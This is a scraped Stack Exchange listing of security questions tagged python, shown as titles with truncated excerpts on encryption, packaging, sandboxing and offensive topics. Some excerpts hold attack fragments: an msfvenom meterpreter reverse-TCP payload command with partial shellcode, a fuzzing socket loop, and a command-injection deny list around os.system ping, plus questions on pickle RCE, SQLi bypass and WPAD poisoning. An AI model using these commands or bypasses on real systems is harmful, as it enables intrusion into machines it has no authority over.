A message from our CEO about the future of Stack Overflow and Stack Exchange. Read now.

Questions tagged [python]

High-level dynamic language developed by Guido van Rossum, particularly popular for server-side web programming and scripting.

Filter by
Sorted by
Tagged with
0
votes
0answers
4 views

Help to understand what's inside base64 string [migrated]

While performing a file upload, a template parameter is sent together with file. Service acts differently when different parameters are passed. I need help to figure out what this parameter contains. ...
-4
votes
0answers
46 views

SQLmap is repeatedly showing error messages [closed]

I've been able to successfully download SQLMap and a lower version of Python than what I already had. Unfortunately it doesn't seem to function properly. The commands I enter just don't seem to ...
0
votes
0answers
85 views

How to prevent bots from checking out on my website

I am developing a website to sell a product that is very likely to be botted. The reason people will bot it is not to spam me or anything, but because they want to buy the product faster than anyone ...
0
votes
0answers
8 views

Python 3 Fuzzing Coding not Working [closed]

I tried to convert a Python 2 code to Python 3. The problem is Python 2 code is working, while Python 3 code does not Here is Python 2 code: import socket buffer=["A"] counter=100 while len(buffer)...
0
votes
0answers
5 views

How to double the AES keysize in keepass? [migrated]

keepass is open source on github right? Is there any way to "append" its existing AES256, double the key size, make the program support AES512? What are ways to achieve that result Thanks
0
votes
0answers
37 views

Packaging Python code for github: should I obfuscate author email address from the `setup.py`?

The standard file with packaging instructions (setup.py with setuptools) for Python contains an author_email field. Such a package can then be published to PyPI, but the code is also available ...
0
votes
0answers
5 views

Nmap not returning network protocol [migrated]

I'm playing with Nmap in Python and after running these commands: import nmap nm = nmap.PortScanner() nm.all_hosts() # returns 127.0.0.1 nm['127.0.0.1'].all_protocols() # returns an empty list [] ...
0
votes
0answers
32 views

Do the encrypt_and_digest() and decrypt_and_verify() methods of the pycryptodome module in python 3 also perform the electronic signature process?

Do the encrypt_and_digest() and decrypt_and_verify() methods in pycryptodome also perform the electronic signature process? I have seen on the internet that the electronic signature consists of ...
1
vote
1answer
37 views

Scapy: Sending forged Probe Requests and capturing them in a different device

Objective: Sending a forged Probe Request frame from one machine and capturing it on a second machine. I have two codes running: sender.py interface = sys.argv[1] dot11 = Dot11(addr1='ff:ff:ff:ff:...
0
votes
0answers
8 views

ValueError: MAC check failed [migrated]

I am doing a super small and simple program, where it seeks to understand this module a little more, but something very strange happens. The code below returns: Traceback (most recent call last): ...
2
votes
3answers
188 views

Would services or whole operating systems written in pure Python/Java be safer?

Many Windows and Linux services are written in C and/or C++. Due to that fact, they can be exploited in several ways due to the lack of memory security (buffer overflow, etc.). Are services written ...
1
vote
2answers
63 views

Private way to connect to my SQL Server database

I'm running on linux and I am using a SQL Server database server on some other machine. My python code has to sit in a directory that many other users have read access to. I also have a "...
3
votes
2answers
139 views

URL parameter manipulation and injection

I have a scenario with 2 sites. Site 1 is mysite.com and Site 2 is secondurl.com. Site 1 is using Wordpress. There, I did a Javascrit/jQuery routine that checks if a given url parameter comes in. If ...
0
votes
0answers
40 views

Live Memory Analysis

I'm a developer working on a POC for an internal web app (Python\SQL) which will handle sensitive employee information within our company. In going over the application with our security department to ...
0
votes
2answers
73 views

Python Antivirus comparing hashes [closed]

I'm writing an antivirus in python mostly to learn and for research purposes, I do understand it would be more efficient to do this in something like C and eventually I will port this over. So far I ...
1
vote
1answer
47 views

How to test email spoofing with this php script? [closed]

I want to harden my SPF setting. However I have trouble testing my SPF setting. I want to be able send a test email to try out my new SPF settings. Most of the resource on internet seems to be use ...
2
votes
2answers
91 views

Should I chunk or not for AES-GCM file encryption

New to file encryption. Need to use AES-GCM for file encryption, can't change the alg. Heard about the max plain text size should be 64GB with same key and IV pair. Environment is python 3 with ...
1
vote
0answers
58 views

MS08-067 not working as expected [closed]

I am somewhat new to this and trying to figure out why my program isn't executing as expected. I ran it a number of times with 1 time being completed successfully but not allowing me to connect to the ...
1
vote
1answer
90 views

Fingerprint FTP services without Banner message

I want to write a python script that is able to fingerprint ports on a server to identify the FTP client running on the port. While there is often a Banner message upon connection, this message is ...
0
votes
1answer
90 views

Executing shellcode in python format [closed]

So after running the command: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py I receive the output: buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
1
vote
2answers
204 views

Can anyone give feedback on this encryption program? [closed]

I am 14 years old and I have just created an encryption program with a friend. I wanted to know if anyone here could give me back any feedback on it. Here is how the program works, Imagine you want ...
1
vote
0answers
46 views

For creating tools, Bash, Perl or Python? Which should I invest my time in to? [closed]

Having trouble choosing between the three, I would of course love to learn all three in the future, but right now I'm curious as to which language would be the most beneficial to me. Also, I'm aware ...
0
votes
1answer
58 views

Universal DNS Resolver [closed]

I would like to implement a DNS client which should be able to resolve any valid domain public, private or otherwise (tor,i2p). What's the best way to achieve this? I know that I need to pick a ...
0
votes
1answer
190 views

Command injection — filtering bypass [closed]

I am testing a python script that provides a ping function os.system('ping ' + command) all of this characters are filtered '&', ';', '-', '`' , '||', '|' i can't use null bytes like %0A i'...
1
vote
1answer
101 views

Is there a service that checks PYPI packages?

Knowing that some pypi packages have a history of being malicious, like libpeshnx, libpesh, and libari. Is there some website/service that labels packages as secure or not? for example: node's npm ...
2
votes
1answer
59 views

Leak multiple lines from file

I am researching this bug here, where the first line of an arbitrary file can be leaked by triggering a SyntaxError using the compile() function. Is there a method of leaking the rest of the file, ...
0
votes
0answers
84 views

How is this cookie created?

I'm on a CTF. It's using TornadoServer 4.5.1, and the application is written in Python 2.7. Every time I login, I receive a cookie. I'm pasting below several cookies so you can see similarities: ...
0
votes
0answers
46 views

SElinux blocks rotatelogs when called from an intermediate script

I need to intercept log messages from Apache (used as reverse proxy and authentication gateway). In order to do this reliably, I want to use a CustomLogs configuration to run a python script. This is ...
0
votes
1answer
131 views

How to sandbox students' Python 3 code submissions for automatic assignment evaluation on Windows 10?

I am the TA for a coding class in which students will have to write Python 3 scripts to solve programming problems. An assignment consists of several problems, and for each problem the student is ...
1
vote
1answer
124 views

Using Selenium to automate data entry

We have a report that generates ~100 rows daily and our customers have to enter the data into third-party software. We hoped that the software allows some kind of data upload so that our customers don'...
1
vote
1answer
99 views

What can happen if my Flask SECRET_KEY becomes public?

I use OpenID Connect to let my users login. What could happen if Flasks SECRET_KEY becomes public?
0
votes
0answers
84 views

How to forbid user from executing malicious shell and Python script?

I am designing a online programming website similar to https://repl.it. Users can execute shell and python scripts on the browsers. If users execute malicious commands including but not limited to "...
1
vote
2answers
158 views

Is there a standard way to check if a requirements.txt has potential security issues? [closed]

Every open code repository has security issues. Attackers can use three ways to sneak malware in: Abuse typos: Create a package with a similar name, but the package is malware Malware + useful code: ...
0
votes
0answers
295 views

Intercept TCP traffic using Python

Situation: I am trying to intercept TCP (not HTTP) traffic on a Windows machine using Python. I am posting this question as most answers I was able to find teaches how to sniff traffic. Normal ...
0
votes
1answer
70 views

Hashcat custom mask - brute force 12 length passwords with 1 capital letter, 1 number and 10 lowercase letters

I need to use brute force to crack the password. I know about the password that it has exactly 1 capital letter (A-Z), exacly 1 number (1-9) and exacly 10 lowercase letters (from a to z). I have ...
2
votes
1answer
96 views

In end-to-end encryption where should the asymmetric encryption keys be created?

I'm playing around with learning encryption with a mini messaging project, so far I can do symmetric encryption (AES) where everyone shares the same key, obviously not secure or ideal, I want to learn ...
1
vote
1answer
210 views

Protect server in CTF challenge when exploting input() vulnerability in python

There was this challenge in one of the CTF's I played in which you had to exploit the input vulnerability of Python 2.x . I was just wondering that since the input function in Python 2.x is same as ...
3
votes
1answer
427 views

Replace forbidden characters function check python

I have "blackbox" with the following python function code (without permission to change it): def exec_ping(): forbidden = ['&', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') ...
0
votes
0answers
214 views

How to produce remote code execution via pickling an object

I'm working on a challenge that was presented to me without much prior knowledge of Python and the pickle library. I'm unable to post the challenge's code for reasons. In short though I am accessing ...
0
votes
0answers
14 views

Is it possible to launch man in the middle attacks on ip addresses connected to a different network than the attacker's ip? [duplicate]

As the question stated, I am just wondering if there is a way to do this, perhaps using python or kali linux. I am trying to attack my raspberry pi that is on a different network than my pc (I have ...
1
vote
1answer
367 views

URL query string params Django security

I am new to Django and I am working on a website, where you can filter some articles using a normal GET url query string param. Theese params can be made from some input fields. I have found two ...
0
votes
2answers
202 views

Pickle Shellcode Import Error

I'm trying to execute pickle shell-code through a download function on a website but I get the following error: <html> <h1>ERROR: Cannot load file</h1> <!-- Traceback (most ...
0
votes
1answer
73 views

Implementing generic login for Zap

I need to build an automated tool that will be able to login to any website supporting basic auth to perform an authenticated scan with OWASP Zap (credentials provided). Here is what I have in mind: ...
4
votes
1answer
399 views

Buffer overflow exploit with python3 : wrong return address written

I'm trying to exploit a simple buffer overflow with gdb and peda, I just want to rewrite the return address with the address of a function of the program. I can easily do it with python2 but it seems ...
0
votes
0answers
230 views

What is the risk of allowing user input in Python's 're' module

Some context I'm currently building an application which lets user's set up dynamic, queries they can execute later. A great addition to this seems like a regex module, in which users can filter ...
0
votes
0answers
71 views

Using Responder.py to WPAD Poisoning

I have set up Responder.py to WPAD Poisoning to display a Login-Prompt but it does not show it on Victims Machine if they surf to example google.com. In Wireshark, i see that the WPAD is resolved to ...
0
votes
1answer
98 views

Can we implement custom algorithms to encode and decode wifi password hashes between Windows 10 and our Router?

Windows 10 has its own way of encrypting hashes, but these can be brute-forced by hashcat. One of our students created 2 of his own password encryption algorithms in python (One for encode, one for ...
0
votes
1answer
661 views

Bypass login with SQL injection with additional password check

I'm having some fun with SQL injection attacks, and I'm currently attempting to bypass a login using SQLi. I think I've figured out the SQL query just fine, however this module also implemented an ...
0
votes
0answers
141 views

Generating a valid payload for RichFaces 3.X

I am currently running on a virtual machine JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo which makes me vulnerable (only accessible from my LAN) to CVE-2018-14667. I have tested the payload ...
1
vote
2answers
342 views

Most Secure Way to Install Python on Windows 10 [closed]

What is the most secure way to install Python 3.X on Windows 10? I have Windows 10 version 1809, and there are so many ways to install Python on Windows, such as the regular way (CPython), IronPython, ...